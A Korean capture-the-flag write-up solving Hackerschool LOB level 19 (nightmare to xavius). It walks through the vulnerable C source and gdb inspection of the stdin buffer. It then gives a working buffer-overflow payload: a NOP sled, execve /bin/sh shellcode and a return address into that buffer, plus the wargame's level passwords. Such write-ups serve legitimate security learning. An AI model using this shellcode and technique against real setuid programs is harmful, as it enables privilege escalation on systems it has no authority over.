해커스쿨 LOB LEVEL19 [nightmare -> xavius] 풀이
M4ndU
해커스쿨 LOB [nightmare -> xavius] 풀이입니다.
ID | nightmare
PW | beg for me
으로 로그인합니다.
\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.
그리고
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
를 이용해 소스코드를 확인합시다.
login: nightmare
Password:
[nightmare@localhost nightmare]$ bash2
[nightmare@localhost nightmare]$ ls -l
total 20
-rwsr-sr-x 1 xavius xavius 13398 Mar 30 2010 xavius
-rw-r--r-- 1 root root 1019 Mar 30 2010 xavius.c
[nightmare@localhost nightmare]$ cat xavius.c
/*
The Lord of the BOF : The Fellowship of the BOF
- xavius
- arg
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
main()
{
char buffer[40];
char *ret_addr;
// overflow!
fgets(buffer, 256, stdin);
printf("%s\n", buffer);
if(*(buffer+47) == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(*(buffer+47) == '\x08')
{
printf("binary image retbayed you, too!!\n");
exit(0);
}
// check if the ret_addr is library function or not
memcpy(&ret_addr, buffer+44, 4);
while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function
{
if(*ret_addr == '\xc9'){ // leave
if(*(ret_addr+1) == '\xc3'){ // ret
printf("You cannot use library function!\n");
exit(0);
}
}
ret_addr++;
}
// stack destroyer
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
스택영역, 텍스트영역을 사용할 수 없고
소스를 보면,
// check if the ret_addr is library function or not
memcpy(&ret_addr, buffer+44, 4);
while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function
{
if(*ret_addr == '\xc9'){ // leave
if(*(ret_addr+1) == '\xc3'){ // ret
printf("You cannot use library function!\n");
exit(0);
}
}
ret_addr++;
}
라이브러리 영역을 필터링 하는 부분인데,
leave와 ret으로 끝나는 것들을 필터링해서 결과적으로 라이브러리 함수를 사용할 수 없게 되어 있습니다.
모든 \x40로 시작하는 주소를 막은 것은 아니죠.
입력받는 부분을 보면, argv을 사용하지 않고 fgets함수를 통해 입력을 받습니다. 아무래도 fgets함수를 사용할때 사용되는 무언가를 이용하라는 것 같습니다.
아마 그 무언가가 stdin 인 것 같습니다.
stdin은 입력값을 임시로 저장하는 임시 버퍼라고 합니다.
이 stdin을 조사해 보아야겠습니다.
[nightmare@localhost nightmare]$ mkdir tmp
[nightmare@localhost nightmare]$ cp xavius tmp/
[nightmare@localhost nightmare]$ cd tmp/
[nightmare@localhost tmp]$ gdb -q xavius
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048714 <main>: push %ebp
0x8048715 <main+1>: mov %ebp,%esp
0x8048717 <main+3>: sub %esp,44
0x804871a <main+6>: mov %eax,%ds:0x8049a3c
0x804871f <main+11>: push %eax
0x8048720 <main+12>: push 0x100
0x8048725 <main+17>: lea %eax,[%ebp-40]
0x8048728 <main+20>: push %eax
0x8048729 <main+21>: call 0x8048408 <fgets>
0x804872e <main+26>: add %esp,12
(생략)
main+12 : push %eax | 전달되는 인자인 stdin의 주소가 넘어가네요.
fgets함수의 stdin의 주소를 확인할 수 있는 시점과 종료된 시점인 main+12과 main+26에 breakpoint를 걸어줍니다.
그리고 실행합니다.
(gdb) b *main+12
Breakpoint 1 at 0x8048720
(gdb) b *main+26
Breakpoint 2 at 0x804872e
(gdb) i reg eax
The program has no registers now.
(gdb) r
Starting program: /home/nightmare/tmp/xavius
Breakpoint 1, 0x8048720 in main ()
(gdb) DDDDDDDD
Undefined command: "DDDDDDDD". Try "help".
(gdb) i reg eax
eax 0x401068c0 1074817216
stdin이 0x40영역에 있네요!
계속 진행해서 위 주소를 확인해봤습니다.
(gdb) c
Continuing.
DDDDDDDD
Breakpoint 2, 0x804872e in main ()
(gdb) x/50x 0x401068c0
0x401068c0 <_IO_2_1_stdin_>: 0xfbad2288 0x40015009 0x40015009 0 x40015000
0x401068d0 <_IO_2_1_stdin_+16>: 0x40015000 0x40015000 0x40015000 0 x40015000
0x401068e0 <_IO_2_1_stdin_+32>: 0x40015400 0x00000000 0x00000000 0 x00000000
0x401068f0 <_IO_2_1_stdin_+48>: 0x00000000 0x00000000 0x00000000 0 x00000000
0x40106900 <_IO_2_1_stdin_+64>: 0xffffffff 0x00000000 0x401068a0 0 xffffffff
0x40106910 <_IO_2_1_stdin_+80>: 0xffffffff 0x00000000 0x00000000 0 x00000000
0x40106920 <_IO_2_1_stdin_+96>: 0x00000000 0x00000000 0x00000000 0 x00000000
0x40106930 <_IO_2_1_stdin_+112>: 0x00000000 0x00000000 0x000000 00 0x00000000
0x40106940 <_IO_2_1_stdin_+128>: 0x00000000 0x00000000 0x000000 00 0x00000000
0x40106950 <_IO_2_1_stdin_+144>: 0x00000000 0x40106820 0x000000 00 0x00000000
0x40106960 <_IO_stdfile_1_lock+8>: 0x00000000 0x00000001 0x000000 00 0x00000000
0x40106970 <_IO_stdfile_1_lock+24>: 0x00000000 0x00000000 0x000000 00 0x00000000
0x40106980 <_IO_2_1_stdout_>: 0xfbad2084 0x00000000
(gdb) x/x 40015009
0x26294a1: Cannot access memory at address 0x26294a1
(gdb) x/x 0x40015009
0x40015009: 0x00000000
(gdb) x/x 0x40015000
0x40015000: 0x44444444
(gdb) x/4x 0x40015000
0x40015000: 0x44444444 0x44444444 0x0000000a 0x00000000
0x40015000부터 우리가 입력한 값이 들어가 있고
0x40015009에 문자열의 끝을 의미하는 NULL값이 들어가 있는 것을 알 수 있습니다.
프로그램 종료 후에도 이 값이 남아있는지 확인해보겠습니다.
(gdb) b *main+278
Breakpoint 3 at 0x804882a
(gdb) c
Continuing.
DDDDDDDD
Breakpoint 3, 0x804882a in main ()
(gdb) x/4x 0x40015000
0x40015000: 0x44444444 0x44444444 0x0000000a 0x00000000
남아있습니다. 그러면 이 영역에 쉘코드를 넣으면 될 것 같네요.
페이로드를 구성해 보면,
NOP[19]+SHELLCODE[25]+RET(0x40015000)[4]
(python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"'; cat) | ./xavius
[nightmare@localhost nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"'; cat) | ./xavius
릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?
?
my-pass
euid = 519
throw me away
성공입니다!! 마지막 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ